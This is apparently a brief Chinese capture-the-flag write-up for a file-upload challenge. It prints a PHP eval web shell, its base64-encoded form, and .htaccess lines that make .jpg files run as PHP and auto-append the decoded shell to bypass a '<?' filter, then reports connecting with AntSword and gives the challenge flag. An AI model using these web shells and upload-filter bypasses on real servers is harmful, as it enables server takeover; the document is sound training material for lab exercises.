[Dest0g3 520迎新賽]funny_upload

m1saka1發表於2024-09-16

開啟靶機抓包發現過濾程式碼

發現.htaccess能上傳後傳入圖片馬

發現內容對<?進行過濾

我們換一種方式寫後門程式碼 <script language="php">eval($_POST['cmd']);</script>

寫入成功後發現沒有回顯

查資料發現可能使由於php版本過高不支援<script language="php">eval($_POST['cmd']);</script>

我們只能將注入語句編碼後,在.htaccess配置檔案中對檔案進行解碼
<?php@eval($_POST[1]);?> 編碼為:PD9waHAgQGV2YWwoJF9QT1NUWzFdKTsgPz4=
在.htaccess檔案中進行解碼 加入下面內容

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

連線蟻劍查詢flag

flag{cc9f0654-9bb1-4de8-9c4b-0d9f8af1d60d}

相關文章